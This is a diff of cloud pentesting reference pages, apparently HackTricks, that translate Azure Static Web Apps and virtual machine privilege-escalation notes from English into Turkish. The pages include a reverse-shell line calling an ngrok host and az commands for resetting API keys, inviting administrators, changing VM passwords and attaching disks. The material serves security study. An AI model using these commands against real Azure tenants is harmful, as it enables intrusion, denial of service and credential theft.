- submodules: true
- lfs: false
- - name: Install OIDC Client from Core Package
- run: npm install @actions/core@1.6.0 @actions/http-client
- - name: Get Id Token
- uses: actions/github-script@v6
- id: idtoken
- with:
- script: |
- const coredemo = require('@actions/core')
- return await coredemo.getIDToken()
- result-encoding: string
- - name: Build And Deploy
- id: builddeploy
- uses: Azure/static-web-apps-deploy@v1
- with:
- azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
- action: "upload"
- ###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
- # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
- app_location: "/" # App source code path
- api_location: "" # Api source code path - optional
- output_location: "build" # Built app content directory - optional
- github_id_token: ${{ steps.idtoken.outputs.result }}
- ###### End of Repository/Build Configurations ######
+build_and_deploy_job:
+if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
+runs-on: ubuntu-latest
+name: Build and Deploy Job
+permissions:
+id-token: write
+contents: read
+steps:
+- uses: actions/checkout@v3
+with:
+submodules: true
+lfs: false
+- name: Install OIDC Client from Core Package
+run: npm install @actions/core@1.6.0 @actions/http-client
+- name: Get Id Token
+uses: actions/github-script@v6
+id: idtoken
+with:
+script: |
+const coredemo = require('@actions/core')
+return await coredemo.getIDToken()
+result-encoding: string
+- name: Build And Deploy
+id: builddeploy
+uses: Azure/static-web-apps-deploy@v1
+with:
+azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
+action: "upload"
+###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
+# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
+app_location: "/" # App source code path
+api_location: "" # Api source code path - optional
+output_location: "build" # Built app content directory - optional
+github_id_token: ${{ steps.idtoken.outputs.result }}
+###### End of Repository/Build Configurations ######
- close_pull_request_job:
- if: github.event_name == 'pull_request' && github.event.action == 'closed'
- runs-on: ubuntu-latest
- name: Close Pull Request Job
- steps:
- - name: Close Pull Request
- id: closepullrequest
- uses: Azure/static-web-apps-deploy@v1
- with:
- action: "close"
+close_pull_request_job:
+if: github.event_name == 'pull_request' && github.event.action == 'closed'
+runs-on: ubuntu-latest
+name: Close Pull Request Job
+steps:
+- name: Close Pull Request
+id: closepullrequest
+uses: Azure/static-web-apps-deploy@v1
+with:
+action: "close"
```
-
### Microsoft.Web/staticSites/resetapikey/action
-With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
-
+Bu izinle, **statik web uygulamasının API anahtarını sıfırlamak** mümkün olup, uygulamayı otomatik olarak dağıtan iş akışlarını potansiyel olarak DoS saldırısına uğratabilir.
```bash
az rest --method POST \
- --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01"
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01"
```
-
### Microsoft.Web/staticSites/createUserInvitation/action
-This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
-
-The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
+Bu izin, belirli bir rol ile bir statik web uygulamasının korumalı yollarına erişim için **bir kullanıcıya davetiye oluşturmayı** sağlar.
+Giriş, `/.auth/login/github` gibi bir yolda veya Entra ID için `/.auth/login/aad` yolunda bulunur ve bir kullanıcı aşağıdaki komut ile davet edilebilir:
```bash
az staticwebapp users invite \
- --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
- --domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
- --invitation-expiration-in-hours 168 # 7 days is max \
- --name my-first-static-web-app # Name of the app\
- --roles "contributor,administrator" # Comma sepparated list of roles\
- --user-details username # Github username in this case\
- --resource-group Resource_Group_1 # Resource group of the app
+--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
+--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
+--invitation-expiration-in-hours 168 # 7 days is max \
+--name my-first-static-web-app # Name of the app\
+--roles "contributor,administrator" # Comma sepparated list of roles\
+--user-details username # Github username in this case\
+--resource-group Resource_Group_1 # Resource group of the app
```
-
### Pull Requests
-By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
+Varsayılan olarak, aynı repo içindeki bir dalda yapılan Pull Requests otomatik olarak derlenir ve bir staging ortamında oluşturulur. Bu, repo üzerinde yazma erişimi olan ancak üretim dalının korumalarını (genellikle `main`) aşamayan bir saldırgan tarafından kötüye kullanılabilir ve **uygulamanın kötü niyetli bir versiyonunu** staging URL'sinde dağıtabilir.
-The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
+Staging URL'si bu formatta: `https://-..` örneğin: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
-> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
-
+> Varsayılan olarak, harici PR'ler en az 1 PR'yi depoya birleştirmedikçe iş akışlarını çalıştırmaz. Bir saldırgan, depoya geçerli bir PR gönderebilir ve **sonra kötü niyetli bir PR** göndererek kötü niyetli uygulamayı staging ortamında dağıtabilir. ANCAK, beklenmedik bir koruma vardır; statik web uygulamasına dağıtım yapmak için varsayılan Github Action, dağıtım token'ını içeren sırra erişim gerektirir (örneğin `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) dağıtım IDToken ile yapılsa bile. Bu, harici bir PR'nin bu sırra erişimi olmayacağı ve harici bir PR'nin iş akışını burada keyfi bir token yerleştirecek şekilde değiştiremeyeceği anlamına gelir; bu nedenle **bu saldırı gerçekten işe yaramayacaktır**.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index e4ad1c783..bc25e2aca 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -18,7 +18,7 @@ Bir VM'de rastgele komutlar çalıştırmak için özel uzantıların kötüye k
{{#tabs }}
{{#tab name="Linux" }}
-- Ters bir shell çalıştırın
+- Bir ters shell çalıştır
```bash
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
@@ -163,7 +163,7 @@ Bu, otomasyon hesabından VM'lerde runbook'ları çalıştırmaya olanak tanıya
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
-Bunlar, **yeni bir galeri uygulaması oluşturmak ve bunu bir VM içinde çalıştırmak için gereken izinlerdir**. Galeri uygulamaları her şeyi çalıştırabilir, bu nedenle bir saldırgan, rastgele komutlar çalıştıran VM örneklerini tehlikeye atmak için bunu kötüye kullanabilir.
+Bunlar, **yeni bir galeri uygulaması oluşturmak ve bunu bir VM içinde çalıştırmak için gereken izinlerdir**. Galeri uygulamaları her şeyi çalıştırabilir, bu nedenle bir saldırgan bunu, rastgele komutlar çalıştıran VM örneklerini tehlikeye atmak için kötüye kullanabilir.
Son 2 izin, uygulamayı kiracı ile paylaşarak atlanabilir.
@@ -251,7 +251,7 @@ az vm application set \
### `Microsoft.Compute/virtualMachines/runCommand/action`
-Bu, Azure'ın **VM'lerde rastgele komutlar çalıştırmak için sağladığı en temel mekanizmadır:**
+Azure'ın **VM'lerde rastgele komutlar çalıştırmak için sağladığı en temel mekanizma:**
{{#tabs }}
{{#tab name="Linux" }}
@@ -298,19 +298,19 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
### `Microsoft.Compute/virtualMachines/login/action`
-Bu izin, bir kullanıcının **SSH veya RDP aracılığıyla bir VM'ye kullanıcı olarak giriş yapmasına** olanak tanır (VM'de Entra ID kimlik doğrulaması etkinleştirildiği sürece).
+Bu izin, bir kullanıcının **bir VM'ye SSH veya RDP üzerinden kullanıcı olarak giriş yapmasına** olanak tanır (VM'de Entra ID kimlik doğrulaması etkinleştirildiği sürece).
-**SSH** ile giriş yapmak için **`az ssh vm --name --resource-group `** ve **RDP** ile giriş yapmak için **normal Azure kimlik bilgilerinizi** kullanın.
+**SSH** üzerinden **`az ssh vm --name --resource-group `** ile ve **RDP** üzerinden **normal Azure kimlik bilgilerinizi** kullanarak giriş yapın.
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
-Bu izin, bir kullanıcının **SSH veya RDP aracılığıyla bir VM'ye kullanıcı olarak giriş yapmasına** olanak tanır (VM'de Entra ID kimlik doğrulaması etkinleştirildiği sürece).
+Bu izin, bir kullanıcının **bir VM'ye SSH veya RDP üzerinden kullanıcı olarak giriş yapmasına** olanak tanır (VM'de Entra ID kimlik doğrulaması etkinleştirildiği sürece).
-**SSH** ile giriş yapmak için **`az ssh vm --name --resource-group `** ve **RDP** ile giriş yapmak için **normal Azure kimlik bilgilerinizi** kullanın.
+**SSH** üzerinden **`az ssh vm --name --resource-group `** ile ve **RDP** üzerinden **normal Azure kimlik bilgilerinizi** kullanarak giriş yapın.
-## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
+### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-Bunlar, **belirli bir yönetilen kimlik ile bir VM oluşturmak** ve **bir portu açık bırakmak** (bu durumda 22) için gerekli izinlerdir. Bu, bir kullanıcının bir VM oluşturmasına ve ona bağlanmasına ve **yönetilen kimlik jetonlarını çalarak** yetkileri artırmasına olanak tanır.
+Bunlar, **belirli bir yönetilen kimlik ile bir VM oluşturmak** ve **bir portu açık bırakmak** (bu durumda 22) için gerekli izinlerdir. Bu, bir kullanıcının bir VM oluşturmasına ve ona bağlanmasına ve **yönetilen kimlik jetonlarını çalarak** ayrıcalıkları artırmasına olanak tanır.
Duruma bağlı olarak, bu tekniği kötüye kullanmak için daha fazla veya daha az izin gerekebilir.
```bash
@@ -349,9 +349,9 @@ O zaman saldırganın **VM'yi bir şekilde ele geçirmiş olması gerekir** ve a
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
-### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
+### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
-Bu izinler, sanal makine kullanıcısını ve şifresini değiştirerek ona erişim sağlamaya olanak tanır:
+Bu izinler, sanal makineye erişmek için kullanıcı ve şifreyi değiştirmeye olanak tanır:
```bash
az vm user update \
--resource-group \
@@ -359,8 +359,24 @@ az vm user update \
--username \
--password
```
+### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
+
+Bu izinler, diskleri ve ağ arayüzlerini yönetmenizi sağlar ve bir diski sanal makineye eklemenizi mümkün kılar.
+```bash
+# Update the disk's network access policy
+az disk update \
+--name \
+--resource-group \
+--network-access-policy AllowAll
+
+# Attach the disk to a virtual machine
+az vm disk attach \
+--vm-name \
+--resource-group \
+--name
+```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
-[**Belgeler**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) göre, bu izin, kaynaklarınızın işletim sistemini Windows Admin Center üzerinden bir yönetici olarak yönetmenizi sağlar. Bu nedenle, bu izin WAC'ye VMs'leri kontrol etme erişimi veriyor gibi görünüyor...
+[**Belgeler**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) göre, bu izin, kaynağınızın işletim sistemini Windows Admin Center üzerinden bir yönetici olarak yönetmenizi sağlar. Bu nedenle, bu iznin VMs'leri kontrol etmek için WAC'a erişim sağladığı anlaşılıyor...
{{#include ../../../banners/hacktricks-training.md}}